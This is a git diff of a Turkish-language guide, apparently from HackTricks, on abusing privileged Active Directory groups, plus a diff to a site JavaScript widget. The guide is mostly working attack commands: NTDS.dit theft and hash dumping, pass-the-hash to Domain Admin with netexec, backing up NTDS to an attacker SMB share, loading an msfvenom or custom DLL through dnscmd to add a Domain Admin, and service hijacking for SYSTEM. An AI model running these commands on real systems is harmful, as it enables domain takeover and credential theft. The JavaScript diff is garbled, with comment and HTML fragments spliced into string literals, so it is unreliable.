Bir script, geri yükleme sürecini hızlandırmak için mevcuttur: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
Kurtarma sürecini hızlandırmak için bir script mevcuttur: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||||
|
|
||||||
Daha fazla bilgi için [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) adresini ziyaret edin.
|
Daha fazla bilgi için: [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||||
|
|
||||||
## AD Geri Dönüşüm Kutusu
|
## AD Recycle Bin
|
||||||
|
|
||||||
Bu gruba üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir:
|
Bu gruba üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir; bu da hassas bilgilerin ifşa olmasına yol açabilir:
|
||||||
```bash
|
```bash
|
||||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||||
```
|
```
|
||||||
### Domain Controller Erişimi
|
### Domain Controller Access
|
||||||
|
|
||||||
DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir parçası değilse kısıtlıdır, bu da erişim seviyesini değiştirir.
|
DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir üyesi olmadığı sürece kısıtlanmıştır; bu grup erişim düzeyini değiştirir.
|
||||||
|
|
||||||
### Yetki Yükseltme
|
### Yetki Yükseltme
|
||||||
|
|
||||||
Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyebilir ve değiştirebilirsiniz. Örneğin, `Server Operators` grubu belirli hizmetler üzerinde tam kontrol sahibidir, bu da keyfi komutların çalıştırılmasına ve yetki yükseltmeye olanak tanır:
|
Sysinternals'ten `PsService` veya `sc` kullanılarak servis izinleri incelenip değiştirilebilir. Örneğin `Server Operators` grubu belirli servisler üzerinde tam kontrole sahiptir; bu da rastgele komutların çalıştırılmasına ve yetki yükseltmeye izin verir:
|
||||||
```cmd
|
```cmd
|
||||||
C:\> .\PsService.exe security AppReadiness
|
C:\> .\PsService.exe security AppReadiness
|
||||||
```
|
```
|
||||||
Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilmesine olanak tanıdığını gösterir.
|
Bu komut `Server Operators`'ın tam erişime sahip olduğunu ortaya çıkarır; bu, ayrıcalık yükseltme için servisleri manipüle etmeye olanak tanır.
|
||||||
|
|
||||||
## Yedekleme Operatörleri
|
## Backup Operators
|
||||||
|
|
||||||
`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir.
|
`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, `FILE_FLAG_BACKUP_SEMANTICS` bayrağı kullanılarak açık izinler olmasa bile klasör dolaşımı, listeleme ve dosya kopyalama yeteneklerini mümkün kılar. Bu işlem için belirli scriptlerin kullanılması gerekir.
|
||||||
|
|
||||||
Grup üyelerini listelemek için şunu çalıştırın:
|
Grup üyelerini listelemek için şu komutu çalıştırın:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||||
```
|
```
|
||||||
### Yerel Saldırı
|
### Yerel Saldırı
|
||||||
|
|
||||||
Bu ayrıcalıkları yerel olarak kullanmak için aşağıdaki adımlar uygulanır:
|
Bu ayrıcalıkları yerel düzeyde kullanmak için aşağıdaki adımlar uygulanır:
|
||||||
|
|
||||||
1. Gerekli kütüphaneleri içe aktarın:
|
1. Gerekli kütüphaneleri içe aktarın:
|
||||||
```bash
|
```bash
|
||||||
Import-Module .\SeBackupPrivilegeUtils.dll
|
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||||
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||||
```
|
```
|
||||||
2. `SeBackupPrivilege`'i etkinleştir ve doğrula:
|
2. `SeBackupPrivilege`'i etkinleştirin ve doğrulayın:
|
||||||
```bash
|
```bash
|
||||||
Set-SeBackupPrivilege
|
Set-SeBackupPrivilege
|
||||||
Get-SeBackupPrivilege
|
Get-SeBackupPrivilege
|
||||||
```
|
```
|
||||||
3. Kısıtlı dizinlerden dosyalara erişim sağlayın ve kopyalayın, örneğin:
|
3. Kısıtlı dizinlere erişin ve dosyaları kopyalayın, örneğin:
|
||||||
```bash
|
```bash
|
||||||
dir C:\Users\Administrator\
|
dir C:\Users\Administrator\
|
||||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||||
```
|
```
|
||||||
### AD Saldırısı
|
### AD Saldırısı
|
||||||
|
|
||||||
Domain Controller'ın dosya sistemine doğrudan erişim, domain kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır.
|
Domain Controller'ın dosya sistemine doğrudan erişim, domain kullanıcıları ve bilgisayarları için tüm `NTLM` hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır.
|
||||||
|
|
||||||
#### diskshadow.exe Kullanarak
|
#### diskshadow.exe kullanarak
|
||||||
|
|
||||||
1. `C` sürücüsünün bir gölge kopyasını oluşturun:
|
1. `C` sürücüsünün bir shadow copy'sini oluşturun:
|
||||||
```cmd
|
```cmd
|
||||||
diskshadow.exe
|
diskshadow.exe
|
||||||
set verbose on
|
set verbose on
|
||||||
@ -98,7 +98,7 @@ expose %cdrive% F:
|
|||||||
end backup
|
end backup
|
||||||
exit
|
exit
|
||||||
```
|
```
|
||||||
2. `NTDS.dit` dosyasını yedek kopyadan kopyalayın:
|
2. Gölge kopyadan `NTDS.dit` dosyasını kopyalayın:
|
||||||
```cmd
|
```cmd
|
||||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||||
```
|
```
|
||||||
@ -106,19 +106,27 @@ Alternatif olarak, dosya kopyalamak için `robocopy` kullanın:
|
|||||||
```cmd
|
```cmd
|
||||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||||
```
|
```
|
||||||
3. Hash alımı için `SYSTEM` ve `SAM`'i çıkarın:
|
3. Hash elde etmek için `SYSTEM` ve `SAM`'ı çıkarın:
|
||||||
```cmd
|
```cmd
|
||||||
reg save HKLM\SYSTEM SYSTEM.SAV
|
reg save HKLM\SYSTEM SYSTEM.SAV
|
||||||
reg save HKLM\SAM SAM.SAV
|
reg save HKLM\SAM SAM.SAV
|
||||||
```
|
```
|
||||||
4. `NTDS.dit` dosyasından tüm hash'leri al:
|
4. `NTDS.dit`'ten tüm hash'leri alın:
|
||||||
```shell-session
|
```shell-session
|
||||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||||
```
|
```
|
||||||
#### wbadmin.exe Kullanımı
|
5. Çıkarım sonrası: Pass-the-Hash ile DA'ya
|
||||||
|
```bash
|
||||||
|
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||||
|
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||||
|
|
||||||
1. Saldırgan makinede SMB sunucusu için NTFS dosya sistemini ayarlayın ve hedef makinede SMB kimlik bilgilerini önbelleğe alın.
|
# Or execute via SMB using an exec method
|
||||||
2. Sistem yedeği ve `NTDS.dit` çıkarımı için `wbadmin.exe` kullanın:
|
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||||
|
```
|
||||||
|
#### wbadmin.exe kullanımı
|
||||||
|
|
||||||
|
1. Saldırgan makinede SMB sunucusu için NTFS dosya sistemi oluşturun ve hedef makinede SMB kimlik bilgilerini önbelleğe alın.
|
||||||
|
2. Sistem yedeği almak ve `NTDS.dit` çıkarmak için `wbadmin.exe` kullanın:
|
||||||
```cmd
|
```cmd
|
||||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||||
@ -126,23 +134,29 @@ wbadmin get versions
|
|||||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||||
```
|
```
|
||||||
|
|
||||||
Pratik bir gösterim için [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s) bağlantısına bakın.
|
Pratik bir gösterim için bkz. [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||||
|
|
||||||
## DnsAdmins
|
## DnsAdmins
|
||||||
|
|
||||||
**DnsAdmins** grubunun üyeleri, DNS sunucusunda (genellikle Alan Denetleyicileri üzerinde barındırılır) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için ayrıcalıklarını kullanabilirler. Bu yetenek, önemli bir istismar potansiyeli sağlar.
|
**DnsAdmins** grubunun üyeleri, ayrıcalıklarını DNS sunucusunda (çoğunlukla Domain Controller'larda barındırılan) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için kullanabilirler. Bu yetenek önemli suistimal potansiyeli sağlar.
|
||||||
|
|
||||||
DnsAdmins grubunun üyelerini listelemek için:
|
DnsAdmins grubunun üyelerini listelemek için şunu kullanın:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||||
```
|
```
|
||||||
### Rastgele DLL Yükle
|
### Execute arbitrary DLL (CVE‑2021‑40469)
|
||||||
|
|
||||||
Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzak bir paylaşımdan) yüklemesini sağlamak için aşağıdaki gibi komutlar kullanabilir:
|
> [!NOTE]
|
||||||
|
> Bu zafiyet, DNS hizmetinde (genellikle DCs içinde) SYSTEM ayrıcalıklarıyla keyfi kod çalıştırılmasına izin verir. Bu sorun 2021'de düzeltildi.
|
||||||
|
|
||||||
|
Üyeler, aşağıdaki gibi komutları kullanarak DNS sunucusunun keyfi bir DLL yüklemesini sağlayabilir (yerel olarak veya uzaktan bir paylaşımdan):
|
||||||
```bash
|
```bash
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||||
|
|
||||||
|
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||||
|
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||||
```
|
```
|
||||||
|
|
||||||
```c
|
```c
|
||||||
@ -158,86 +172,90 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
|||||||
// Generate DLL with msfvenom
|
// Generate DLL with msfvenom
|
||||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||||
```
|
```
|
||||||
DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) DLL'nin yüklenmesi için gereklidir:
|
DLL'in yüklenebilmesi için DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) gereklidir:
|
||||||
```csharp
|
```csharp
|
||||||
sc.exe \\dc01 stop dns
|
sc.exe \\dc01 stop dns
|
||||||
sc.exe \\dc01 start dns
|
sc.exe \\dc01 start dns
|
||||||
```
|
```
|
||||||
For more details on this attack vector, refer to ired.team.
|
Daha fazla ayrıntı için ired.team'e bakın.
|
||||||
|
|
||||||
#### Mimilib.dll
|
#### Mimilib.dll
|
||||||
|
|
||||||
Mimilib.dll'yi belirli komutları veya ters shell'leri çalıştırmak için değiştirmek suretiyle komut yürütme amacıyla kullanmak da mümkündür. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
|
mimilib.dll'i komut çalıştırmak için kullanmak da mümkündür; belirli komutları veya reverse shells çalıştıracak şekilde değiştirilebilir. Daha fazla bilgi için [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html).
|
||||||
|
|
||||||
### WPAD Record for MitM
|
### MitM için WPAD Kaydı
|
||||||
|
|
||||||
DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Responder veya Inveigh gibi araçlar, ağ trafiğini sahteleyip yakalamak için kullanılabilir.
|
DnsAdmins, global query block list'i devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirebilir. Responder veya Inveigh gibi araçlar spoofing ve ağ trafiğini yakalamak için kullanılabilir.
|
||||||
|
|
||||||
### Event Log Readers
|
### Olay Günlüğü Okuyucuları
|
||||||
Üyeler, düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulma potansiyeline sahip olan olay günlüklerine erişebilirler:
|
Üyeler olay günlüklerine erişebilir ve potansiyel olarak açık metin parolalar veya komut çalıştırma ayrıntıları gibi hassas bilgiler bulabilir:
|
||||||
```bash
|
```bash
|
||||||
# Get members and search logs for sensitive information
|
# Get members and search logs for sensitive information
|
||||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||||
```
|
```
|
||||||
## Exchange Windows İzinleri
|
## Exchange Windows Permissions
|
||||||
|
|
||||||
Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubu istismar eden ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub repo'sunda detaylandırılmıştır.
|
Bu grup domain nesnesi üzerindeki DACLs'i değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Teknik olarak, bu grubu kötüye kullanarak yapılan privilege escalation yöntemleri Exchange-AD-Privesc GitHub repo'da ayrıntılı olarak açıklanmıştır.
|
||||||
```bash
|
```bash
|
||||||
# List members
|
# List members
|
||||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||||
```
|
```
|
||||||
## Hyper-V Yöneticileri
|
## Hyper-V Administrators
|
||||||
|
|
||||||
Hyper-V Yöneticileri, sanallaştırılmış Etki Alanı Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir.
|
Hyper-V Administrators, Hyper-V üzerinde tam erişime sahiptir; bu erişim sanallaştırılmış Domain Controllers üzerinde kontrol ele geçirmek için sömürülebilir. Bu, çalışır durumda olan DC'lerin klonlanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir.
|
||||||
|
|
||||||
### Sömürü Örneği
|
### İstismar Örneği
|
||||||
|
|
||||||
Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirmeyi içerir:
|
Firefox'un Mozilla Maintenance Service'i, Hyper-V Administrators tarafından SYSTEM olarak komut yürütmek için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına hard link oluşturmayı ve onu kötü amaçlı bir çalıştırılabilir dosya ile değiştirmeyi içerir:
|
||||||
```bash
|
```bash
|
||||||
# Take ownership and start the service
|
# Take ownership and start the service
|
||||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||||
sc.exe start MozillaMaintenance
|
sc.exe start MozillaMaintenance
|
||||||
```
|
```
|
||||||
Not: Hard link istismarı, son Windows güncellemeleri ile azaltılmıştır.
|
Not: Hard link exploitation son Windows güncellemelerinde hafifletildi.
|
||||||
|
|
||||||
## Organizasyon Yönetimi
|
## Group Policy Creators Owners
|
||||||
|
|
||||||
**Microsoft Exchange**'in dağıtıldığı ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm alan kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu da içerir.
|
Bu grup, üyelerinin domain içinde Group Policies oluşturmasına izin verir. Ancak üyeler, Group Policies'i kullanıcılara veya gruplara uygulayamaz veya mevcut GPO'ları düzenleyemez.
|
||||||
|
|
||||||
### Ayrıcalık İstismarı ve Komutlar
|
## Organization Management
|
||||||
|
|
||||||
#### Yazdırma Operatörleri
|
**Microsoft Exchange**'in konuşlandırıldığı ortamlarda, **Organization Management** olarak bilinen özel bir grup önemli yeteneklere sahiptir. Bu grup, **tüm domain kullanıcılarının posta kutularına erişim** ayrıcalığına sahiptir ve **'Microsoft Exchange Security Groups'** Organizational Unit (OU) üzerinde tam kontrole sahiptir. Bu kontrol, ayrıcalık yükseltme için istismar edilebilecek **`Exchange Windows Permissions`** grubunu içerir.
|
||||||
|
|
||||||
**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Alan Denetleyicisine yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Kontrolü'nü (UAC) atlamak gereklidir.
|
### Privilege Exploitation and Commands
|
||||||
|
|
||||||
|
#### Print Operators
|
||||||
|
|
||||||
|
**Print Operators** grubunun üyeleri birkaç ayrıcalığa sahiptir; bunların arasında **`SeLoadDriverPrivilege`** de bulunur; bu, onların **log on locally to a Domain Controller**, kapatma ve yazıcıları yönetme yetkisine sahip olmalarını sağlar. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, User Account Control (UAC) atlatılması gerekir.
|
||||||
|
|
||||||
Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır:
|
Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||||
```
|
```
|
||||||
Daha ayrıntılı istismar teknikleri için **`SeLoadDriverPrivilege`** ile ilgili olarak, belirli güvenlik kaynaklarına başvurulmalıdır.
|
**`SeLoadDriverPrivilege`** ile ilgili daha ayrıntılı exploitation techniques hakkında bilgi için belirli güvenlik kaynaklarına başvurulmalıdır.
|
||||||
|
|
||||||
#### Uzak Masaüstü Kullanıcıları
|
#### Uzak Masaüstü Kullanıcıları
|
||||||
|
|
||||||
Bu grubun üyelerine Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur:
|
Bu grubun üyelerine Remote Desktop Protocol (RDP) üzerinden PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||||
```
|
```
|
||||||
RDP'yi istismar etme konusunda daha fazla bilgiye özel pentesting kaynaklarında ulaşılabilir.
|
RDP'yi istismar etmeye dair daha fazla bilgi özel pentesting kaynaklarında bulunabilir.
|
||||||
|
|
||||||
#### Uzaktan Yönetim Kullanıcıları
|
#### Uzaktan Yönetim Kullanıcıları
|
||||||
|
|
||||||
Üyeler **Windows Uzaktan Yönetimi (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin belirlenmesi şu şekilde gerçekleştirilir:
|
Üyeler **Windows Remote Management (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin enumeration yoluyla belirlenmesi şu yollarla gerçekleştirilir:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||||
```
|
```
|
||||||
**WinRM** ile ilgili istismar teknikleri için belirli belgeler incelenmelidir.
|
**WinRM** ile ilgili exploitation techniques için ilgili dokümantasyon incelenmelidir.
|
||||||
|
|
||||||
#### Sunucu Operatörleri
|
#### Sunucu Operatörleri
|
||||||
|
|
||||||
Bu grup, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut:
|
Bu grup, Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmaları gerçekleştirme izinlerine sahiptir; bunlar arasında yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma yer alır. Üyeleri listelemek için verilen komut şudur:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
```
|
```
|
||||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
|||||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
|||||||
|
|
||||||
(() => {
|
(() => {
|
||||||
const KEY = 'htSummerDiscountsDismissed';
|
const KEY = 'htSummerDiscountsDismissed';
|
||||||
const IMG = '/images/discount.jpeg';
|
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||||
|
* ---------------------------------------------------
|
||||||
|
* ❶ Markdown rendering + sanitised (same as before)
|
||||||
|
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||||
const URL = 'https://training.hacktricks.xyz';
|
const URL = 'https://training.hacktricks.xyz';
|
||||||
|
|
||||||
@ -13,7 +16,20 @@
|
|||||||
if (localStorage.getItem(KEY) === 'true') return;
|
if (localStorage.getItem(KEY) === 'true') return;
|
||||||
|
|
||||||
// Quick helper
|
// Quick helper
|
||||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||||
|
<div id="ht-ai-header">
|
||||||
|
<strong>HackTricks AI Chat</strong>
|
||||||
|
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||||
|
<div class="ht-actions">
|
||||||
|
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||||
|
<span id="ht-ai-close" title="Close">✖</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="ht-ai-chat"></div>
|
||||||
|
<div id="ht-ai-input">
|
||||||
|
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||||
|
<button id="ht-ai-send">Send</button>
|
||||||
|
</div>`;tag), { style: css });
|
||||||
|
|
||||||
// --- Overlay (blur + dim) ---
|
// --- Overlay (blur + dim) ---
|
||||||
const overlay = $('div', `
|
const overlay = $('div', `
|
||||||
@ -111,7 +127,7 @@
|
|||||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||||
const MAX_QUESTION = 500; // question char limit
|
const MAX_QUESTION = 500; // question char limit
|
||||||
const MIN_W = 250; // ← resize limits →
|
const MIN_W = 250; // ← resize limits →
|
||||||
const MAX_W = 600;
|
const MAX_W = 800;
|
||||||
const DEF_W = 350; // default width (if nothing saved)
|
const DEF_W = 350; // default width (if nothing saved)
|
||||||
const TOOLTIP_TEXT =
|
const TOOLTIP_TEXT =
|
||||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||||
@ -345,8 +361,9 @@
|
|||||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||||
#ht-ai-panel.open{transform:translateX(0)}
|
#ht-ai-panel.open{transform:translateX(0)}
|
||||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
